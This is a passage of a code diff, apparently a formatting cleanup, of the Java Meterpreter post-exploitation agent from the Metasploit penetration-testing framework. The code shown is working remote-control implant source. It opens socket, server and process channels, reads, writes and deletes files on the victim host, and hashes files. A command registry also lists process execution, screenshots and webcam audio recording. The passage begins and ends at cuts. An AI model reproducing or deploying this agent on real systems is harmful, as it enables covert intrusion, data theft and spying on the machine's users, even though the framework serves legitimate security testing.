tlv.add(TLVType.TLV_TYPE_LENGTH, data.length);
|
||||||
throw t;
|
getMeterpreter().writeRequestPacket("core_channel_write", tlv);
|
||||||
}
|
} catch (SocketException t) {
|
||||||
}
|
// dirty hack since later java versions add more of those...
|
||||||
} catch (SocketException t) {
|
if (!t.getClass().getName().endsWith("UnreachableException"))
|
||||||
if (closed)
|
throw t;
|
||||||
return;
|
}
|
||||||
t.printStackTrace(getMeterpreter().getErrorStream());
|
}
|
||||||
} catch (Throwable t) {
|
} catch (SocketException t) {
|
||||||
t.printStackTrace(getMeterpreter().getErrorStream());
|
if (closed)
|
||||||
}
|
return;
|
||||||
}
|
t.printStackTrace(getMeterpreter().getErrorStream());
|
||||||
}
|
} catch (Throwable t) {
|
||||||
|
t.printStackTrace(getMeterpreter().getErrorStream());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -8,32 +8,30 @@ import com.metasploit.meterpreter.Meterpreter;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A channel for a started {@link Process}.
|
* A channel for a started {@link Process}.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class ProcessChannel extends Channel {
|
public class ProcessChannel extends Channel {
|
||||||
|
|
||||||
private final Process process;
|
private final Process process;
|
||||||
private final InputStream err;
|
private final InputStream err;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a new process channel.
|
* Create a new process channel.
|
||||||
*
|
*
|
||||||
* @param meterpreter
|
* @param meterpreter The meterpreter this channel should be assigned to.
|
||||||
* The meterpreter this channel should be assigned to.
|
* @param process Process of the channel
|
||||||
* @param process
|
*/
|
||||||
* Process of the channel
|
public ProcessChannel(Meterpreter meterpreter, Process process) {
|
||||||
*/
|
super(meterpreter, process.getInputStream(), process.getOutputStream());
|
||||||
public ProcessChannel(Meterpreter meterpreter, Process process) {
|
this.process = process;
|
||||||
super(meterpreter, process.getInputStream(), process.getOutputStream());
|
this.err = process.getErrorStream();
|
||||||
this.process = process;
|
new InteractThread(err).start();
|
||||||
this.err = process.getErrorStream();
|
}
|
||||||
new InteractThread(err).start();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void close() throws IOException {
|
public void close() throws IOException {
|
||||||
process.destroy();
|
process.destroy();
|
||||||
err.close();
|
err.close();
|
||||||
super.close();
|
super.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -8,62 +8,60 @@ import java.net.SocketException;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A channel for a {@link ServerSocket}.
|
* A channel for a {@link ServerSocket}.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class ServerSocketChannel extends Channel {
|
public class ServerSocketChannel extends Channel {
|
||||||
|
|
||||||
private final ServerSocket serverSocket;
|
private final ServerSocket serverSocket;
|
||||||
private boolean closed = false;
|
private boolean closed = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a new socket channel.
|
* Create a new socket channel.
|
||||||
*
|
*
|
||||||
* @param meterpreter
|
* @param meterpreter The meterpreter this channel should be assigned to.
|
||||||
* The meterpreter this channel should be assigned to.
|
* @param socket Socket of the channel
|
||||||
* @param socket
|
*/
|
||||||
* Socket of the channel
|
public ServerSocketChannel(Meterpreter meterpreter, ServerSocket serverSocket) throws IOException {
|
||||||
*/
|
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
|
||||||
public ServerSocketChannel(Meterpreter meterpreter, ServerSocket serverSocket) throws IOException {
|
this.serverSocket = serverSocket;
|
||||||
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
|
new AcceptThread().start();
|
||||||
this.serverSocket = serverSocket;
|
}
|
||||||
new AcceptThread().start();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void close() throws IOException {
|
public void close() throws IOException {
|
||||||
closed = true;
|
closed = true;
|
||||||
serverSocket.close();
|
serverSocket.close();
|
||||||
super.close();
|
super.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
Meterpreter getMeterpreter() {
|
Meterpreter getMeterpreter() {
|
||||||
return meterpreter;
|
return meterpreter;
|
||||||
}
|
}
|
||||||
|
|
||||||
private class AcceptThread extends Thread {
|
private class AcceptThread extends Thread {
|
||||||
public void run() {
|
public void run() {
|
||||||
try {
|
try {
|
||||||
while(true) {
|
while (true) {
|
||||||
Socket s = serverSocket.accept();
|
Socket s = serverSocket.accept();
|
||||||
SocketChannel ch = new SocketChannel(getMeterpreter(), s);
|
SocketChannel ch = new SocketChannel(getMeterpreter(), s);
|
||||||
|
|
||||||
TLVPacket packet = new TLVPacket();
|
TLVPacket packet = new TLVPacket();
|
||||||
packet.add(TLVType.TLV_TYPE_CHANNEL_ID, ch.getID());
|
packet.add(TLVType.TLV_TYPE_CHANNEL_ID, ch.getID());
|
||||||
packet.add(TLVType.TLV_TYPE_CHANNEL_PARENTID, getID());
|
packet.add(TLVType.TLV_TYPE_CHANNEL_PARENTID, getID());
|
||||||
packet.add(TLVType.TLV_TYPE_LOCAL_HOST, s.getLocalAddress().getHostAddress());
|
packet.add(TLVType.TLV_TYPE_LOCAL_HOST, s.getLocalAddress().getHostAddress());
|
||||||
packet.add(TLVType.TLV_TYPE_LOCAL_PORT, s.getLocalPort());
|
packet.add(TLVType.TLV_TYPE_LOCAL_PORT, s.getLocalPort());
|
||||||
packet.add(TLVType.TLV_TYPE_PEER_HOST, s.getInetAddress().getHostAddress());
|
packet.add(TLVType.TLV_TYPE_PEER_HOST, s.getInetAddress().getHostAddress());
|
||||||
packet.add(TLVType.TLV_TYPE_PEER_PORT, s.getPort());
|
packet.add(TLVType.TLV_TYPE_PEER_PORT, s.getPort());
|
||||||
getMeterpreter().writeRequestPacket("tcp_channel_open", packet);
|
getMeterpreter().writeRequestPacket("tcp_channel_open", packet);
|
||||||
ch.startInteract();
|
ch.startInteract();
|
||||||
}
|
}
|
||||||
} catch (SocketException t) {
|
} catch (SocketException t) {
|
||||||
if (closed)
|
if (closed)
|
||||||
return;
|
return;
|
||||||
t.printStackTrace(getMeterpreter().getErrorStream());
|
t.printStackTrace(getMeterpreter().getErrorStream());
|
||||||
} catch (Throwable t) {
|
} catch (Throwable t) {
|
||||||
t.printStackTrace(getMeterpreter().getErrorStream());
|
t.printStackTrace(getMeterpreter().getErrorStream());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -5,35 +5,33 @@ import java.net.Socket;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A channel for a {@link Socket}.
|
* A channel for a {@link Socket}.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class SocketChannel extends Channel {
|
public class SocketChannel extends Channel {
|
||||||
|
|
||||||
private final Socket socket;
|
private final Socket socket;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a new socket channel.
|
* Create a new socket channel.
|
||||||
*
|
*
|
||||||
* @param meterpreter
|
* @param meterpreter The meterpreter this channel should be assigned to.
|
||||||
* The meterpreter this channel should be assigned to.
|
* @param socket Socket of the channel
|
||||||
* @param socket
|
*/
|
||||||
* Socket of the channel
|
public SocketChannel(Meterpreter meterpreter, Socket socket) throws IOException {
|
||||||
*/
|
super(meterpreter, socket.getInputStream(), socket.getOutputStream());
|
||||||
public SocketChannel(Meterpreter meterpreter, Socket socket) throws IOException {
|
this.socket = socket;
|
||||||
super(meterpreter, socket.getInputStream(), socket.getOutputStream());
|
}
|
||||||
this.socket = socket;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void close() throws IOException {
|
public void close() throws IOException {
|
||||||
socket.close();
|
socket.close();
|
||||||
super.close();
|
super.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the socket.
|
* Get the socket.
|
||||||
*/
|
*/
|
||||||
public Socket getSocket() {
|
public Socket getSocket() {
|
||||||
return socket;
|
return socket;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -10,17 +10,17 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public abstract class HashCommand implements Command {
|
public abstract class HashCommand implements Command {
|
||||||
|
|
||||||
protected abstract String getAlgorithm();
|
protected abstract String getAlgorithm();
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
FileInputStream in = new FileInputStream(Loader.expand(request.getStringValue(TLVType.TLV_TYPE_FILE_PATH)));
|
FileInputStream in = new FileInputStream(Loader.expand(request.getStringValue(TLVType.TLV_TYPE_FILE_PATH)));
|
||||||
MessageDigest md = MessageDigest.getInstance(getAlgorithm());
|
MessageDigest md = MessageDigest.getInstance(getAlgorithm());
|
||||||
byte[] buf = new byte[4096];
|
byte[] buf = new byte[4096];
|
||||||
int len;
|
int len;
|
||||||
while ((len = in.read(buf)) != -1) {
|
while ((len = in.read(buf)) != -1) {
|
||||||
md.update(buf, 0, len);
|
md.update(buf, 0, len);
|
||||||
}
|
}
|
||||||
response.add(TLVType.TLV_TYPE_FILE_HASH, md.digest());
|
response.add(TLVType.TLV_TYPE_FILE_HASH, md.digest());
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -7,47 +7,47 @@ import com.metasploit.meterpreter.ExtensionLoader;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Loader class to register all the stdapi commands.
|
* Loader class to register all the stdapi commands.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class Loader implements ExtensionLoader {
|
public class Loader implements ExtensionLoader {
|
||||||
|
|
||||||
public static File cwd;
|
public static File cwd;
|
||||||
|
|
||||||
public static File expand(String path) {
|
|
||||||
File result = new File(path);
|
|
||||||
if (!result.isAbsolute())
|
|
||||||
result = new File(cwd, path);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void load(CommandManager mgr) throws Exception {
|
public static File expand(String path) {
|
||||||
cwd = new File(".").getCanonicalFile();
|
File result = new File(path);
|
||||||
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
if (!result.isAbsolute())
|
||||||
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
result = new File(cwd, path);
|
||||||
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
|
return result;
|
||||||
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
|
}
|
||||||
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
|
|
||||||
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
|
public void load(CommandManager mgr) throws Exception {
|
||||||
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
|
cwd = new File(".").getCanonicalFile();
|
||||||
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path.class, V1_2, V1_5); // %COMSPEC% only
|
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
||||||
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
|
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
||||||
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
|
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
|
||||||
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
|
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
|
||||||
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
|
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
|
||||||
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
|
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
|
||||||
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
|
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
|
||||||
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
|
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path.class, V1_2, V1_5); // %COMSPEC% only
|
||||||
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
|
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
|
||||||
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
|
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
|
||||||
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
|
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
|
||||||
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
|
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
|
||||||
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
|
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
|
||||||
mgr.registerCommand("stdapi_sys_config_getenv", stdapi_sys_config_getenv.class);
|
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
|
||||||
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
|
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
|
||||||
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
|
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
|
||||||
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);
|
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
|
||||||
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
|
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
|
||||||
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4);
|
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
|
||||||
}
|
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
|
||||||
|
mgr.registerCommand("stdapi_sys_config_getenv", stdapi_sys_config_getenv.class);
|
||||||
|
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
|
||||||
|
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
|
||||||
|
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);
|
||||||
|
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
|
||||||
|
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,28 +13,28 @@ import com.metasploit.meterpreter.command.NotYetImplementedCommand;
|
|||||||
|
|
||||||
public class channel_create_stdapi_fs_file implements Command {
|
public class channel_create_stdapi_fs_file implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String fpath = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
String fpath = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
||||||
String mode = request.getStringValue(TLVType.TLV_TYPE_FILE_MODE, "rb");
|
String mode = request.getStringValue(TLVType.TLV_TYPE_FILE_MODE, "rb");
|
||||||
Channel channel;
|
Channel channel;
|
||||||
if (mode.equals("r") || mode.equals("rb") || mode.equals("rbb")) {
|
if (mode.equals("r") || mode.equals("rb") || mode.equals("rbb")) {
|
||||||
channel = null;
|
channel = null;
|
||||||
if (fpath.equals("...")) {
|
if (fpath.equals("...")) {
|
||||||
byte[] data = meterpreter.getErrorBuffer();
|
byte[] data = meterpreter.getErrorBuffer();
|
||||||
if (data != null)
|
if (data != null)
|
||||||
channel = new Channel(meterpreter, new ByteArrayInputStream(data), null);
|
channel = new Channel(meterpreter, new ByteArrayInputStream(data), null);
|
||||||
}
|
}
|
||||||
if (channel == null)
|
if (channel == null)
|
||||||
channel = new Channel(meterpreter, new FileInputStream(Loader.expand(fpath)), null);
|
channel = new Channel(meterpreter, new FileInputStream(Loader.expand(fpath)), null);
|
||||||
} else if (mode.equals("r") || mode.equals("wb") || mode.equals("wbb")) {
|
} else if (mode.equals("r") || mode.equals("wb") || mode.equals("wbb")) {
|
||||||
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), false));
|
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), false));
|
||||||
} else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) {
|
} else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) {
|
||||||
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), true));
|
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), true));
|
||||||
} else {
|
} else {
|
||||||
NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
|
NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
|
||||||
throw new IllegalArgumentException("Unsupported file mode: " + mode);
|
throw new IllegalArgumentException("Unsupported file mode: " + mode);
|
||||||
}
|
}
|
||||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,31 +13,31 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class channel_create_stdapi_net_tcp_client implements Command {
|
public class channel_create_stdapi_net_tcp_client implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
|
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
|
||||||
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
||||||
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
||||||
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
||||||
int retries = ((Integer) request.getValue(TLVType.TLV_TYPE_CONNECT_RETRIES, new Integer(1))).intValue();
|
int retries = ((Integer) request.getValue(TLVType.TLV_TYPE_CONNECT_RETRIES, new Integer(1))).intValue();
|
||||||
if (retries < 1)
|
if (retries < 1)
|
||||||
retries = 1;
|
retries = 1;
|
||||||
InetAddress peerAddr = InetAddress.getByName(peerHost);
|
InetAddress peerAddr = InetAddress.getByName(peerHost);
|
||||||
InetAddress localAddr = InetAddress.getByName(localHost);
|
InetAddress localAddr = InetAddress.getByName(localHost);
|
||||||
Socket socket = null;
|
Socket socket = null;
|
||||||
for (int i = 0; i < retries; i++) {
|
for (int i = 0; i < retries; i++) {
|
||||||
try {
|
try {
|
||||||
socket = new Socket(peerAddr, peerPort, localAddr, localPort);
|
socket = new Socket(peerAddr, peerPort, localAddr, localPort);
|
||||||
break;
|
break;
|
||||||
} catch (ConnectException ex) {
|
} catch (ConnectException ex) {
|
||||||
if (i == retries - 1)
|
if (i == retries - 1)
|
||||||
throw ex;
|
throw ex;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// If we got here, the connection worked, respond with the new channel ID
|
// If we got here, the connection worked, respond with the new channel ID
|
||||||
Channel channel = new SocketChannel(meterpreter, socket);
|
Channel channel = new SocketChannel(meterpreter, socket);
|
||||||
channel.startInteract();
|
channel.startInteract();
|
||||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -12,16 +12,16 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class channel_create_stdapi_net_tcp_server implements Command {
|
public class channel_create_stdapi_net_tcp_server implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
||||||
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
||||||
ServerSocket ss;
|
ServerSocket ss;
|
||||||
if (localHost.equals("0.0.0.0"))
|
if (localHost.equals("0.0.0.0"))
|
||||||
ss = new ServerSocket(localPort);
|
ss = new ServerSocket(localPort);
|
||||||
else
|
else
|
||||||
ss = new ServerSocket(localPort, 50, InetAddress.getByName(localHost));
|
ss = new ServerSocket(localPort, 50, InetAddress.getByName(localHost));
|
||||||
Channel channel = new ServerSocketChannel(meterpreter, ss);
|
Channel channel = new ServerSocketChannel(meterpreter, ss);
|
||||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -12,20 +12,20 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class channel_create_stdapi_net_udp_client implements Command {
|
public class channel_create_stdapi_net_udp_client implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
|
|
||||||
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
|
||||||
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
|
||||||
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
|
|
||||||
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
|
||||||
|
|
||||||
DatagramSocket ds = new DatagramSocket(localPort, InetAddress.getByName(localHost));
|
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
|
||||||
if (peerPort != 0) {
|
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
|
||||||
ds.connect(InetAddress.getByName(peerHost), peerPort);
|
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
|
||||||
}
|
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
||||||
Channel channel = new DatagramSocketChannel(meterpreter,ds);
|
|
||||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
DatagramSocket ds = new DatagramSocket(localPort, InetAddress.getByName(localHost));
|
||||||
return ERROR_SUCCESS;
|
if (peerPort != 0) {
|
||||||
}
|
ds.connect(InetAddress.getByName(peerHost), peerPort);
|
||||||
|
}
|
||||||
|
Channel channel = new DatagramSocketChannel(meterpreter, ds);
|
||||||
|
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -10,13 +10,13 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_fs_chdir implements Command {
|
public class stdapi_fs_chdir implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
||||||
File f = Loader.expand(path);
|
File f = Loader.expand(path);
|
||||||
if (!f.exists() || !f.isDirectory()) {
|
if (!f.exists() || !f.isDirectory()) {
|
||||||
throw new IOException("Path not found: " + path);
|
throw new IOException("Path not found: " + path);
|
||||||
}
|
}
|
||||||
Loader.cwd = f.getCanonicalFile();
|
Loader.cwd = f.getCanonicalFile();
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
22
java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_dir.java
22
java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_dir.java
@ -10,15 +10,15 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_fs_delete_dir implements Command {
|
public class stdapi_fs_delete_dir implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
|
||||||
File file = Loader.expand(path);
|
File file = Loader.expand(path);
|
||||||
if (!file.exists() || !file.isDirectory()) {
|
if (!file.exists() || !file.isDirectory()) {
|
||||||
throw new IOException("Directory not found: " + path);
|
throw new IOException("Directory not found: " + path);
|
||||||
}
|
}
|
||||||
if (!file.delete()) {
|
if (!file.delete()) {
|
||||||
throw new IOException("Cannot delete directory " + file.getCanonicalPath());
|
throw new IOException("Cannot delete directory " + file.getCanonicalPath());
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
22
java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_file.java
22
java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_fs_delete_file.java
@ -10,15 +10,15 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_fs_delete_file implements Command {
|
public class stdapi_fs_delete_file implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
||||||
File file = Loader.expand(path);
|
File file = Loader.expand(path);
|
||||||
if (!file.exists() || !file.isFile()) {
|
if (!file.exists() || !file.isFile()) {
|
||||||
throw new IOException("File not found: " + path);
|
throw new IOException("File not found: " + path);
|
||||||
}
|
}
|
||||||
if (!file.delete()) {
|
if (!file.delete()) {
|
||||||
throw new IOException("Cannot delete " + file.getCanonicalPath());
|
throw new IOException("Cannot delete " + file.getCanonicalPath());
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -10,20 +10,20 @@ import com.metasploit.meterpreter.command.NotYetImplementedCommand;
|
|||||||
|
|
||||||
public class stdapi_fs_file_expand_path implements Command {
|
public class stdapi_fs_file_expand_path implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
|
||||||
if (path.equals("%COMSPEC%")) {
|
if (path.equals("%COMSPEC%")) {
|
||||||
response.add(TLVType.TLV_TYPE_FILE_PATH, getShellPath());
|
response.add(TLVType.TLV_TYPE_FILE_PATH, getShellPath());
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
} else {
|
} else {
|
||||||
return NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
|
return NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
protected String getShellPath() {
|
protected String getShellPath() {
|
||||||
